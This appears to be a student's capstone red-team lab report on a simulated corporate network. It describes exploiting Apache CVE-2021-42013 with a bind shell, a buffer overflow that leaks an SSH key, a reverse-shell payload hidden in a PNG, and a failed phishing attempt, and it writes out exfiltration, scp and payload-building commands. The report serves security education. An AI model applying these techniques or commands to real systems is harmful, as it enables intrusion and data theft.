CAPSTONE PROJECT CST8812

RED TEAM ACTIVITIES FINAL REPORT

\

SUBMITTED TO:

**PROF. SAAD INSHI**

**DATE: 14 AUGUST 2025**

SUBMITTED BY:

**AKASH NADACKANAL VINOD**

**STUDENT ID: 041156265**

Table of Contents

[EXECUTIVE SUMMARY 2](#_Toc206031372)

[TIMELINE 2](#_Toc206031373)

[ATTACKS 3](#_Toc206031374)

[OBJECTIVE 1: TRAINING GROUND 3](#_Toc206031375)

[OBJECTIVE 2: EXPAND FOOTHOLD THROUGH BUFFER OVERFLOW ATTACK 7](#_Toc206031376)

[OBJECTIVE 3: DEVELOPING OUR OWN EXPLOITS 12](#_Toc206031377)

[OBJECTIVE 4: WELCOME TO THE ENVIRONMENT 15](#_Toc206031378)

[CONCLUSION 16](#_Toc206031379)

# EXECUTIVE SUMMARY

This exercise simulated a realistic targeted attack on a corporate network with limited perimeter defenses. The Red Team identified and exploited vulnerabilities, created custom payloads, moved laterally within the network, and extracted sensitive data across four objectives. All activities were carried out covertly, preserving stealth and operational integrity

# TIMELINE

|  |  |  |
| --- | --- | --- |
| **Objective** | **Tasks** | **Result** |
| 1 | Initial Foothold via Web Exploitation | Success |
| 2 | Buffer Overflow Exploit and SSH Key | Success |
| 3 | Shellcode Development and Reverse Shell via PNG | Success |
| 4 | Phishing And Internal Lateral Movement | Failed |

# ATTACKS

## OBJECTIVE 1: TRAINING GROUND

Initial Foothold through **APACHE CVE-2021-42013 EXPLOITATION.**

A proof-of-concept (PoC) script called cve-2021-42013.py was present in the attacker's home directory. which might be used against the server, that is at risk.

**Target Info:**

* Web Server IP: **10.0.0.10**
* Running Service: **Apache HTTP Server**
* Vulnerability Identified: **CVE-2021-42013**

**Method:**

Found the PoC in the home directory, reviewed its Apache path traversal exploit, and replaced the payload with a Python bind shell to open a remote interactive shell to my system.

**Screen Capture of Bind shell added in PoC:**

**Execute Exploit:**

Launched the modified script and successfully exploited the Apache Server and got the shell connection.

Command used: **python3 ~/cve-2021-42013.py**

**Shell Access**

Successfully gained an interactive shell on the target system as the low-privileged user **daemon**. Verified access by executing basic Linux commands such as id to confirm the current user and group privileges, and **uname -a** to gather system information including the kernel version and operating system details.

**Secret Files**

* SECRET\_wellington\_arms.txt
* SECRET\_bellder\_banking.txt
* SECRET\_subsidiary\_notes.txt

**Exfiltration**

Successfully uploaded the hidden documents back to the Red Team Server I used the commands:

* **sudo ~/exfiltrate SECRET\_wellington\_arms.txt**
* **sudo ~/exfiltrate SECRET\_bellder\_banking.txt**
* **sudo ~/exfiltrate SECRET\_subsidiary\_notes.txt**

## OBJECTIVE 2: EXPAND FOOTHOLD THROUGH BUFFER OVERFLOW ATTACK

**Target Info:**

The files found during the internal enumeration helped to kick start the initial step of the attack.

**Target Script Location:** usr/local/apache2/SECRETS/upload.sh

**Method:**

Discovered the file **/usr/local/apache2/SECRETS/upload.sh** was linked to a binary vulnerable to buffer overflow. After examining the script and its corresponding binaries, it was discovered that weak input validation had let user-supplied data exceed the buffer capacity allotted. This vulnerability showed a visible chance to provide malicious input that may cause a buffer overflow and perhaps give the attacker unauthorized access to the target machine.

**Crash Analysis**

The target server crashed due to a segmentation fault after the file was uploaded. To verify that I had taken control of the program's execution flow, I looked at the core dump to examine the rewritten memory and verified that the Instruction Pointer (RIP) had been replaced with 0x41414141 (AAAA).

**Exploit Execution**

Remotely activated the print\_ssh() function by uploading the malicious payload using the same upload technique. The SSH private key was then obtained for additional access when the server displayed it on the screen.

**SSH PRIVATE KEY RETRIEVED AND SAVED**

Saved the SSH key in **sample.txt** using nano and connected to the target with ssh. Navigated to the **SECRETS** folder and listed confidential .txt and .pdf files.

**SSH ACCESS ESTABLISHED**

All files from the target server's SECRETS directory were safely copied to the local computer using scp and sample.txt. successfully recovered several private .txt and.pdf files.

**SECRET FILE EXFILTRATION**

Using the command **scp -i sample.txt** developer@35.212.42.88:/home/developer/SECRETS/SECRET\_\*, the SECRET files were successfully copied to the Kali.

## OBJECTIVE 3: DEVELOPING OUR OWN EXPLOITS

**Shellcode Development and Reverse Shell (Malicious PNG)**

**autosolver\_payload.nasm**

**chmod 600 id\_rsa\_private**

This command sets the SSH private key’s permissions to 600, allowing only the owner to read and write it. This is essential, as SSH rejects keys accessible to others, ensuring secure and proper remote access.

* **echo -en “\x05” > file.txt**
* **cat file.txt autosolver\_payload.bin > png\_candidate**
* **scp -i ./id\_rsa\_private -o StrictHostKeyChecking=no png\_candidate developer@35.212.42.88:~/**

**ssh -i ./id\_rsa\_private -o StrictHostKeyChecking=no developer@35.212.42.88 "./png\_create\_helper -input png\_candidate -h 1 -w 70 -output png\_submission.png"**

This command establishes a secure SSH connection to a local computer (35.212.42.88) using a private key (id\_rsa\_private). It is used often in Red Team operations to get access to target or staging servers to perform post-exploitation tools such as autosolve.sh or modify payloads for exfiltration (such as into png\_submission.png).

**sudo systemctl start ssh**

Kali may function as a server by starting the SSH service, which permits inside connections such as file transfers and reverse shells. In red team situations, it's important for data exfiltration or maintaining access.

To safely transfer files from an external machine (administrator@10.0.0.4) to the local system, use the scp command.

**./exfiltrate commands**

These./exfiltrate commands test how well defenses are able to detect and prevent data theft by simulating unauthorized removal of sensitive files. The exercise illustrates the necessity of strong access restrictions, monitoring, and endpoint security to prevent real-world intrusions, and the files represent important business information.

## OBJECTIVE 4: WELCOME TO THE ENVIRONMENT

**Internal Phishing Attack and Privilege Escalation**

**Observation**

Target systems, such as domain-joined workstations and an internal email server, were identified by the internal environment assessment. Weak security controls, users with unusual file privileges, and an internal email program that was susceptible to SQL injection were among the opportunities for exploitation. The attack surface was further expanded by security vulnerabilities such uncontrolled external network traffic (with only incoming connections limited), missing input validation, and a lack of email attachment evaluation.

# CONCLUSION

The impact of unpatched vulnerabilities, poor input validation, and weak security controls inside the target environment was well illustrated by the Red Team interaction. Unauthorized access, data exfiltration, and the deployment of custom exploits were the outcomes of the completion of three of the four objectives. The unsuccessful phishing attempt made clear how crucial it is to have strong email security protocols and user awareness training. To defend against attackers, this training highlights the necessity of timely patching, ongoing security monitoring, and defense-in-depth strategies.